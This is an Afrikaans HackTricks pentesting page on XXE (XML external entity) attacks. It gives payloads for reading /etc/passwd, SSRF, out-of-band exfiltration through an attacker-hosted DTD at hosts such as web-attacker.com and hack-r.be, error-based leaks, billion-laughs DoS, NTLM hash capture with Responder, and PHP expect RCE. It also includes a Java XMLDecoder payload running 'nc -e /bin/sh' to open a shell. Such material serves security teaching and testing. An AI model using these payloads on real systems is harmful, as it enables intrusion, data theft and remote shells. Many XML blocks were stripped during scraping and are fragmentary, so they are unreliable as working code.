# XXE - XEE - XML Externe Entiteit
{% hint style="success" %}
Leer & oefen AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Leer & oefen GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Ondersteun HackTricks
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** đŹ [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** đŠ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
{% embed url="https://websec.nl/" %}
## XML Basiese Beginsels
XML is 'n opmaaktaal wat ontwerp is vir dataopberging en -vervoer, met 'n buigsame struktuur wat die gebruik van beskrywende naametikette toelaat. Dit verskil van HTML deur nie beperk te wees tot 'n stel vooraf gedefinieerde etikette nie. XML se belangrikheid het afgeneem met die opkoms van JSON, ondanks sy aanvanklike rol in AJAX-tegnologie.
* **Dataverteenwoordiging deur Entiteite**: Entiteite in XML stel die verteenwoordiging van data in staat, insluitend spesiale karakters soos `<` en `>`, wat ooreenstem met `<` en `>` om konflik met XML se etiketsisteem te vermy.
* **Definiëring van XML Elemente**: XML laat die definisie van elementtipes toe, wat uiteensit hoe elemente gestruktureer moet word en watter inhoud hulle mag bevat, wat wissel van enige tipe inhoud tot spesifieke kindelemente.
* **Dokumenttipe-definisie (DTD)**: DTD's is van kardinale belang in XML vir die definisie van die dokument se struktuur en die tipes data wat dit kan bevat. Hulle kan intern, ekstern, of 'n kombinasie wees, wat lei hoe dokumente geformateer en gevalideer word.
* **Pasgemaakte en Eksterne Entiteite**: XML ondersteun die skepping van pasgemaakte entiteite binne 'n DTD vir buigsame dataverteenwoordiging. Eksterne entiteite, gedefinieer met 'n URL, wek sekuriteitskwessies, veral in die konteks van XML Eksterne Entiteit (XXE) aanvalle, wat die manier waarop XML-parsers eksterne databronne hanteer, benut: ` ]>`
* **XXE Opsporing met Parameter Entiteite**: Vir die opsporing van XXE kwesbaarhede, veral wanneer konvensionele metodes misluk weens parser sekuriteitsmaatreëls, kan XML parameter entiteite gebruik word. Hierdie entiteite stel buite-band opsporingstegnieke in staat, soos om DNS-opsoeke of HTTP-versoeke na 'n beheerde domein te aktiveer, om die kwesbaarheid te bevestig.
* ` ]>`
* ` ]>`
## Hoofaanvalle
[**Meeste van hierdie aanvalle is getoets met die wonderlike Portswiggers XEE laboratoriums: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
### Nuwe Entiteit toets
In hierdie aanval gaan ek toets of 'n eenvoudige nuwe ENTITEIT verklaring werk.
```xml
]>
&toreplace;
1
```
![](<../.gitbook/assets/image (870).png>)
### Lees lĂȘer
Kom ons probeer om `/etc/passwd` op verskillende maniere te lees. Vir Windows kan jy probeer om te lees: `C:\windows\system32\drivers\etc\hosts`
In hierdie eerste geval, let op dat SYSTEM "_\*\*file:///\*\*etc/passwd_" ook sal werk.
```xml
]>
&example;
```
![](<../.gitbook/assets/image (86).png>)
Hierdie tweede geval behoort nuttig te wees om 'n lĂȘer te onttrek as die webbediener PHP gebruik (nie die geval van Portswiggers-laboratoriums nie)
```xml
]>
&example;
```
In hierdie derde geval let op dat ons die `Element stockCheck` as ANY verklaar.
```xml
]>
&file;
1
```
![](<../.gitbook/assets/image (753).png>)
### Gidslys
In **Java** gebaseerde toepassings mag dit moontlik wees om die **inhoud van 'n gids** te **lys** via XXE met 'n payload soos (net die gids vra in plaas van die lĂȘer):
```xml
]>&xxe;
]>&xxe;
```
### SSRF
'n XXE kan gebruik word om 'n SSRF binne 'n wolk te misbruik
```xml
]>
&xxe;1
```
### Blind SSRF
Met die **voorheen kommentaar gelede tegniek** kan jy die bediener laat toegang verkry tot 'n bediener wat jy beheer om te wys dat dit kwesbaar is. Maar, as dit nie werk nie, is dit dalk omdat **XML entiteite nie toegelaat word nie**, in daardie geval kan jy probeer om **XML parameter entiteite** te gebruik:
```xml
%xxe; ]>
3;1
```
### "Blind" SSRF - Exfiltreer data uit-band
**In hierdie geval gaan ons die bediener laat laai 'n nuwe DTD met 'n kwaadwillige payload wat die inhoud van 'n lĂȘer via HTTP versoek sal stuur (vir multi-lyn lĂȘers kan jy probeer om dit via \_ftp://**\_ te exfiltreer deur hierdie basiese bediener te gebruik, byvoorbeeld [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Hierdie verduideliking is gebaseer op** [**Portswiggers laboratorium hier**](https://portswigger.net/web-security/xxe/blind)**.**
In die gegewe kwaadwillige DTD word 'n reeks stappe uitgevoer om data te exfiltreer:
### Kwaadwillige DTD Voorbeeld:
Die struktuur is soos volg:
```xml
">
%eval;
%exfiltrate;
```
Die stappe wat deur hierdie DTD uitgevoer word, sluit in:
1. **Definisie van Parameter Entiteite:**
* 'n XML parameter entiteit, `%file`, word geskep, wat die inhoud van die `/etc/hostname` lĂȘer lees.
* 'n Ander XML parameter entiteit, `%eval`, word gedefinieer. Dit verklaar dinamies 'n nuwe XML parameter entiteit, `%exfiltrate`. Die `%exfiltrate` entiteit is ingestel om 'n HTTP versoek na die aanvaller se bediener te maak, wat die inhoud van die `%file` entiteit binne die navraagstring van die URL oor dra.
2. **Uitvoering van Entiteite:**
* Die `%eval` entiteit word gebruik, wat lei tot die uitvoering van die dinamiese verklaring van die `%exfiltrate` entiteit.
* Die `%exfiltrate` entiteit word dan gebruik, wat 'n HTTP versoek na die gespesifiseerde URL met die lĂȘer se inhoud aktiveer.
Die aanvaller huisves hierdie kwaadwillige DTD op 'n bediener onder hul beheer, tipies by 'n URL soos `http://web-attacker.com/malicious.dtd`.
**XXE Payload:** Om 'n kwesbare toepassing te benut, stuur die aanvaller 'n XXE payload:
```xml
%xxe;]>
3;1
```
This payload definieer 'n XML parameterentiteit `%xxe` en inkorporeer dit binne die DTD. Wanneer dit deur 'n XML-parser verwerk word, haal hierdie payload die eksterne DTD van die aanvaller se bediener. Die parser interpreteer dan die DTD inline, voer die stappe in die kwaadwillige DTD uit en lei tot die ekfiltrasie van die `/etc/hostname`-lĂȘer na die aanvaller se bediener.
### Foutgebaseerd (Eksterne DTD)
**In hierdie geval gaan ons die bediener dwing om 'n kwaadwillige DTD te laai wat die inhoud van 'n lĂȘer binne 'n foutboodskap sal wys (dit is slegs geldig as jy foutboodskappe kan sien).** [**Voorbeeld hier.**](https://portswigger.net/web-security/xxe/blind)
' n XML-parsing foutboodskap, wat die inhoud van die `/etc/passwd`-lĂȘer onthul, kan geaktiveer word deur 'n kwaadwillige eksterne Document Type Definition (DTD). Dit word bereik deur die volgende stappe:
1. 'n XML parameterentiteit genaamd `file` word gedefinieer, wat die inhoud van die `/etc/passwd`-lĂȘer bevat.
2. 'n XML parameterentiteit genaamd `eval` word gedefinieer, wat 'n dinamiese verklaring vir 'n ander XML parameterentiteit genaamd `error` inkorporeer. Hierdie `error` entiteit, wanneer geĂ«valueer, probeer om 'n nie-bestaande lĂȘer te laai, wat die inhoud van die `file` entiteit as sy naam inkorporeer.
3. Die `eval` entiteit word aangeroep, wat lei tot die dinamiese verklaring van die `error` entiteit.
4. Aanspreking van die `error` entiteit lei tot 'n poging om 'n nie-bestaande lĂȘer te laai, wat 'n foutboodskap produseer wat die inhoud van die `/etc/passwd`-lĂȘer as deel van die lĂȘernaam insluit.
Die kwaadwillige eksterne DTD kan geaktiveer word met die volgende XML:
```xml
%xxe;]>
3;1
```
Upon execution, the web server's response should include an error message displaying the contents of the `/etc/passwd` file.
![](<../.gitbook/assets/image (809).png>)
_**Neem asseblief kennis dat eksterne DTD ons toelaat om een entiteit binne die tweede (****`eval`****) in te sluit, maar dit is verbode in die interne DTD. Daarom kan jy nie 'n fout afdwing sonder om 'n eksterne DTD te gebruik (gewoonlik).**_
### **Foutgebaseerd (sisteem DTD)**
So wat van blinde XXE kwesbaarhede wanneer **uit-baan interaksies geblokkeer is** (eksterne verbindings is nie beskikbaar nie)?
'n Gaping in die XML-taal spesifikasie kan **sensitiewe data blootstel deur foutboodskappe wanneer 'n dokument se DTD interne en eksterne verklarings meng**. Hierdie probleem maak die interne herdefinisie van entiteite wat eksterne verklaar is, moontlik, wat die uitvoering van foutgebaseerde XXE-aanvalle vergemaklik. Sulke aanvalle benut die herdefinisie van 'n XML parameter entiteit, oorspronklik verklaar in 'n eksterne DTD, van binne 'n interne DTD. Wanneer uit-baan verbindings deur die bediener geblokkeer word, moet aanvallers op plaaslike DTD-lĂȘers staatmaak om die aanval uit te voer, met die doel om 'n ontledingsfout te veroorsaak om sensitiewe inligting te onthul.
Overweeg 'n scenario waar die bediener se lĂȘerstelsel 'n DTD-lĂȘer by `/usr/local/app/schema.dtd` bevat, wat 'n entiteit genaamd `custom_entity` definieer. 'n Aanvaller kan 'n XML ontledingsfout veroorsaak wat die inhoud van die `/etc/passwd` lĂȘer onthul deur 'n hibriede DTD soos volg in te dien:
```xml
">
%eval;
%error;
'>
%local_dtd;
]>
```
Die uiteengesette stappe word deur hierdie DTD uitgevoer:
* Die definisie van 'n XML parameterentiteit genaamd `local_dtd` sluit die eksterne DTD-lĂȘer in wat op die bediener se lĂȘerstelsel geleĂ« is.
* 'n Herdefinisie vind plaas vir die `custom_entity` XML parameterentiteit, oorspronklik gedefinieer in die eksterne DTD, om 'n [fout-gebaseerde XXE exploit](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) te kapsuleer. Hierdie herdefinisie is ontwerp om 'n ontledingsfout uit te lok, wat die inhoud van die `/etc/passwd` lĂȘer blootstel.
* Deur die `local_dtd` entiteit te gebruik, word die eksterne DTD geaktiveer, wat die nuut gedefinieerde `custom_entity` insluit. Hierdie reeks aksies lei tot die vrystelling van die foutboodskap wat deur die exploit gemik is.
**Werklike wĂȘreld voorbeeld:** Stelsels wat die GNOME-bureaubladomgewing gebruik, het dikwels 'n DTD by `/usr/share/yelp/dtd/docbookx.dtd` wat 'n entiteit genaamd `ISOamso` bevat.
```xml
">
%eval;
%error;
'>
%local_dtd;
]>
3;1
```
![](<../.gitbook/assets/image (625).png>)
Aangesien hierdie tegniek 'n **interne DTD gebruik, moet jy eers 'n geldige een vind**. Jy kan dit doen deur die **dieselfde OS / sagteware** te **installeer** wat die bediener gebruik en **sommige standaard DTD's** te **soek**, of deur 'n lys van **standaard DTD's** binne stelsels te **gryp** en te **kontroleer** of enige van hulle bestaan:
```xml
%local_dtd;
]>
```
For more information check [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind)
### Vind DTD's binne die stelsel
In die volgende wonderlike github repo kan jy **paaie van DTD's wat in die stelsel teenwoordig kan wees** vind:
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
Boonop, as jy die **Docker beeld van die slagoffer stelsel** het, kan jy die hulpmiddel van dieselfde repo gebruik om die **beeld** te **skandeer** en die pad van **DTDs** wat binne die stelsel teenwoordig is, te **vind**. Lees die [Readme van die github](https://github.com/GoSecure/dtd-finder) om te leer hoe.
```bash
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
Scanning TAR file /tmp/dadocker.tar
[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
Testing 0 entities : []
[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []
```
### XXE via Office Open XML Parsers
Vir 'n meer diepgaande verduideliking van hierdie aanval, **kyk na die tweede afdeling van** [**hierdie wonderlike pos**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **van Detectify**.
Die vermoĂ« om **Microsoft Office-dokumente op te laai, word deur baie webtoepassings aangebied**, wat dan voortgaan om sekere besonderhede uit hierdie dokumente te onttrek. Byvoorbeeld, 'n webtoepassing mag gebruikers toelaat om data in te voer deur 'n XLSX-formaat sigblad op te laai. Ten einde die parser in staat te stel om die data uit die sigblad te onttrek, sal dit onvermydelik ten minste een XML-lĂȘer moet parse.
Om vir hierdie kwesbaarheid te toets, is dit nodig om 'n **Microsoft Office-lĂȘer te skep wat 'n XXE-payload bevat**. Die eerste stap is om 'n leĂ« gids te skep waaraan die dokument ontpak kan word.
Sodra die dokument ontpak is, moet die XML-lĂȘer geleĂ« by `./unzipped/word/document.xml` geopen en in 'n verkiesde teksredigeerder (soos vim) gewysig word. Die XML moet gewysig word om die verlangde XXE-payload in te sluit, wat dikwels met 'n HTTP-versoek begin.
Die gewysigde XML-lyne moet tussen die twee wortel-XML-objekte ingevoeg word. Dit is belangrik om die URL met 'n monitorbare URL vir versoeke te vervang.
Laastens kan die lĂȘer gezip word om die kwaadwillige poc.docx-lĂȘer te skep. Vanuit die voorheen geskepte "ontpakte" gids, moet die volgende opdrag uitgevoer word:
Nou kan die geskepte lĂȘer na die potensieel kwesbare webtoepassing opgelaai word, en 'n mens kan hoop vir 'n versoek om in die Burp Collaborator-logs te verskyn.
### Jar: protocol
Die **jar** protokol is eksklusief beskikbaar binne **Java-toepassings**. Dit is ontwerp om lĂȘertoegang binne 'n **PKZIP** argief (bv., `.zip`, `.jar`, ens.) moontlik te maak, wat beide plaaslike en afstandslĂȘers dek.
```
jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt
```
{% hint style="danger" %}
Om toegang te verkry tot lĂȘers binne PKZIP-lĂȘers is **baie nuttig om XXE via stelsels DTD-lĂȘers te misbruik.** Kyk [hierdie afdeling om te leer hoe om stelsels DTD-lĂȘers te misbruik](xxe-xee-xml-external-entity.md#error-based-system-dtd).
{% endhint %}
Die proses agter die toegang tot 'n lĂȘer binne 'n PKZIP-argief via die jar-protokol behels verskeie stappe:
1. 'n HTTP-versoek word gemaak om die zip-argief van 'n spesifieke ligging af te aflaai, soos `https://download.website.com/archive.zip`.
2. Die HTTP-antwoord wat die argief bevat, word tydelik op die stelsel gestoor, tipies in 'n ligging soos `/tmp/...`.
3. Die argief word dan onttrek om toegang tot die inhoud te verkry.
4. Die spesifieke lĂȘer binne die argief, `file.zip`, word gelees.
5. Na die operasie word enige tydelike lĂȘers wat tydens hierdie proses geskep is, verwyder.
'n Interessante tegniek om hierdie proses by die tweede stap te onderbreek, behels om die bedienerverbinding onbeperk oop te hou wanneer die argief lĂȘer bedien word. Gereedskap beskikbaar by [hierdie repo](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution) kan vir hierdie doel gebruik word, insluitend 'n Python-bediener (`slow_http_server.py`) en 'n Java-bediener (`slowserver.jar`).
```xml
]>
&xxe;
```
{% hint style="danger" %}
Die skryf van lĂȘers in 'n tydelike gids kan help om **'n ander kwesbaarheid wat 'n pad traversering behels, te verhoog** (soos plaaslike lĂȘer insluiting, sjabloon inspuiting, XSLT RCE, deserialisering, ens.).
{% endhint %}
### XSS
```xml
script]]>alert(1)/script]]>
```
### DoS
#### Biljoen Lag Aanval
```xml
]>
&a4;
```
#### Yaml-aanval
```xml
a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
```
#### Kwadratiese Blowup Aanval
![](<../.gitbook/assets/image (527).png>)
#### Verkryging van NTML
Op Windows-gasheer is dit moontlik om die NTML-hash van die webbediener gebruiker te verkry deur 'n responder.py handler in te stel:
```bash
Responder.py -I eth0 -v
```
en deur die volgende versoek te stuur
```xml
]>
&example;
```
Then you can try to crack the hash using hashcat
## Verborgen XXE Oppervlaktes
### XInclude
Wanneer kliëntdata in server-kant XML-dokumente geïntegreer word, soos dié in agtergrond SOAP-versoeke, is direkte beheer oor die XML-struktuur dikwels beperk, wat tradisionele XXE-aanvalle bemoeilik weens beperkings op die wysiging van die `DOCTYPE` element. 'n `XInclude` aanval bied egter 'n oplossing deur die invoeging van eksterne entiteite binne enige data-element van die XML-dokument toe te laat. Hierdie metode is effektief selfs wanneer slegs 'n gedeelte van die data binne 'n deur die bediener gegenereerde XML-dokument beheer kan word.
Om 'n `XInclude` aanval uit te voer, moet die `XInclude` naamruimte verklaar word, en die lĂȘerpad vir die beoogde eksterne entiteit moet gespesifiseer word. Hieronder is 'n bondige voorbeeld van hoe so 'n aanval geformuleer kan word:
```xml
productId=&storeId=1
```
Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) vir meer inligting!
### SVG - LĂȘeroplaai
LĂȘers wat deur gebruikers na sekere toepassings opgelaai word, wat dan op die bediener verwerk word, kan kwesbaarhede in hoe XML of XML-bevatte lĂȘerformate hanteer word, benut. Algemene lĂȘerformate soos kantoor dokumente (DOCX) en beelde (SVG) is gebaseer op XML.
Wanneer gebruikers **beelde oplaai**, word hierdie beelde bediener-kant verwerk of gevalideer. Selfs vir toepassings wat formate soos PNG of JPEG verwag, kan die **bediener se beeldverwerkingsbiblioteek ook SVG-beelde ondersteun**. SVG, as 'n XML-gebaseerde formaat, kan deur aanvallers benut word om kwaadwillige SVG-beelde in te dien, wat die bediener blootstel aan XXE (XML External Entity) kwesbaarhede.
'n Voorbeeld van so 'n uitbuiting word hieronder getoon, waar 'n kwaadwillige SVG-beeld probeer om stelsellĂȘers te lees:
```xml
```
'n Ander metode behels die poging om **opdragte** deur die PHP "expect" wrapper uit te voer:
```xml
```
In beide gevalle word die SVG-formaat gebruik om aanvalle te loods wat die XML-verwerkingsvermoëns van die bediener se sagteware benut, wat die behoefte aan robuuste invoervalidasie en sekuriteitsmaatreëls beklemtoon.
Kyk na [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) vir meer inligting!
**Let daarop dat die eerste lyn van die geleesde lĂȘer of van die resultaat van die uitvoering BINNE die geskepte beeld sal verskyn. So jy moet in staat wees om toegang te verkry tot die beeld wat SVG geskep het.**
### **PDF - LĂȘer opgelaai**
Lees die volgende pos om **te leer hoe om 'n XXE te benut deur 'n PDF** lĂȘer op te laai:
{% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %}
[pdf-upload-xxe-and-cors-bypass.md](file-upload/pdf-upload-xxe-and-cors-bypass.md)
{% endcontent-ref %}
### Inhoudstipe: Van x-www-urlencoded na XML
As 'n POST-versoek die data in XML-formaat aanvaar, kan jy probeer om 'n XXE in daardie versoek te benut. Byvoorbeeld, as 'n normale versoek die volgende bevat:
```xml
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
foo=bar
```
Dan mag jy in staat wees om die volgende versoek in te dien, met dieselfde resultaat:
```xml
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52
bar
```
### Content-Type: Van JSON na XEE
Om die versoek te verander, kan jy 'n Burp-uitbreiding genaamd â**Content Type Converter**â gebruik. [Hier](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) kan jy hierdie voorbeeld vind:
```xml
Content-Type: application/json;charset=UTF-8
{"root": {"root": {
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}
```
```xml
Content-Type: application/xml;charset=UTF-8
]>
&xxe;
United States
ddd
ddd
```
Nog 'n voorbeeld kan [hier](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2) gevind word.
## WAF & Beskerming Omseilings
### Base64
```xml
%init; ]>
```
This werk slegs as die XML-bediener die `data://` protokol aanvaar.
### UTF-7
Jy kan die \[**"Encode Recipe**" van cyberchef hier ]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) transformeer na UTF-7.
```xml
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
```
```xml
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
```
### File:/ Protocol Bypass
As die web PHP gebruik, kan jy in plaas van `file:/` **php wrappers**`php://filter/convert.base64-encode/resource=` gebruik om **interne lĂȘers** te **toegang**.
As die web Java gebruik, kan jy die [**jar: protocol**](xxe-xee-xml-external-entity.md#jar-protocol) nagaan.
### HTML Entities
Truk van [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
Jy kan 'n **entiteit binne 'n entiteit** skep deur dit met **html entities** te kodifiseer en dit dan aan te roep om 'n **dtd** te **laai**.\
Let daarop dat die **HTML Entities** wat gebruik word **numeries** moet wees (soos \[in hierdie voorbeeld]\([https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C)).
```xml
%a;%dtd;]>
&exfil;
```
DTD voorbeeld:
```xml
">
%abt;
%exfil;
```
## PHP Wrappers
### Base64
**Onttrek** _**index.php**_
```xml
]>
```
#### **Onttrek eksterne hulpbron**
```xml
]>
```
### Afgeleë kode-uitvoering
**As die PHP "expect" module gelaai is**
```xml
]>
&xxe;
mypass
```
## **SOAP - XEE**
```xml
%dtd;]>]]>
```
## XLIFF - XXE
Hierdie voorbeeld is geĂŻnspireer deur [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)
XLIFF (XML Lokaliseringsuitruilformaat) word gebruik om data-uitruil in lokaliseringsprosesse te standaardiseer. Dit is 'n XML-gebaseerde formaat wat hoofsaaklik gebruik word om lokaliseerbare data tussen gereedskap tydens lokaliseringsprosesse oor te dra en as 'n algemene uitruilformaat vir CAT (Rekenaar-geassisteerde Vertaling) gereedskap.
### Blind Request Analise
'n Versoek word aan die bediener gemaak met die volgende inhoud:
```xml
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml
%remote; ]>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
However, this request triggers an internal server error, specifically mentioning a problem with the markup declarations:
```json
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
```
Despite the error, a hit is recorded on Burp Collaborator, indicating some level of interaction with the external entity.
Out of Band Data Exfiltration Om data te eksfiltreer, word 'n gewysigde versoek gestuur:
```
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml
%remote; ]>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
Hierdie benadering onthul dat die User Agent die gebruik van Java 1.8 aandui. 'n Opgemerkte beperking met hierdie weergawe van Java is die onmoontlikheid om lĂȘers wat 'n nuwe reĂ«l karakter bevat, soos /etc/passwd, te verkry met die Out of Band tegniek.
Error-Based Data Exfiltration Om hierdie beperking te oorkom, word 'n Error-Based benadering gebruik. Die DTD-lĂȘer is soos volg gestruktureer om 'n fout te aktiveer wat data van 'n teikenlĂȘer insluit:
```xml
">
%foo;
%xxe;
```
Die bediener reageer met 'n fout, wat belangrik die nie-bestaande lĂȘer reflekteer, wat aandui dat die bediener probeer om toegang te verkry tot die gespesifiseerde lĂȘer:
```javascript
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
```
Om die lĂȘer se inhoud in die foutboodskap in te sluit, word die DTD-lĂȘer aangepas:
```xml
">
%foo;
%xxe;
```
Hierdie wysiging lei tot die suksesvolle eksfiltrasie van die lĂȘer se inhoud, soos dit weerspieĂ«l word in die foutuitvoer wat via HTTP gestuur word. Dit dui op 'n suksesvolle XXE (XML External Entity) aanval, wat beide Out of Band en Error-Based tegnieke benut om sensitiewe inligting te onttrek.
## RSS - XEE
Geldige XML met RSS-formaat om 'n XXE kwesbaarheid te benut.
### Ping back
Eenvoudige HTTP-versoek na die aanvallers se bediener
```xml
/rssXXE" >]>
XXE Test Blog
http://example.com/
XXE Test Blog
Mon, 02 Feb 2015 00:00:00 -0000
-
&xxe;
http://example.com
Test Post
author@example.com
Mon, 02 Feb 2015 00:00:00 -0000
```
### Lees lĂȘer
```xml
]>
The Blog
http://example.com/
A blog about things
Mon, 03 Feb 2014 00:00:00 -0000
-
&xxe;
http://example.com
a post
author@example.com
Mon, 03 Feb 2014 00:00:00 -0000
```
### Lees bronkode
Gebruik PHP base64-filter
```xml
]>
The Blog
http://example.com/
A blog about things
Mon, 03 Feb 2014 00:00:00 -0000
-
&xxe;
http://example.com
a post
author@example.com
Mon, 03 Feb 2014 00:00:00 -0000
```
## Java XMLDecoder XEE na RCE
XMLDecoder is 'n Java-klas wat voorwerpe skep gebaseer op 'n XML-boodskap. As 'n kwaadwillige gebruiker 'n toepassing kan laat gebruik maak van arbitrĂȘre data in 'n oproep na die metode **readObject**, sal hy onmiddellik kode-uitvoering op die bediener verkry.
### Gebruik van Runtime().exec()
```xml
```
### ProcessBuilder
```xml
/usr/bin/nc
-l
-p
9999
-e
/bin/sh
```
## Tools
{% embed url="https://github.com/luisfontes19/xxexploiter" %}
## References
* [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\\
* [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\\
* Trek inligting via HTTP met eie eksterne DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\\
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\\
* [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\\
* [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\\
* [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\\
* [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Leer & oefen GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Kontroleer die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
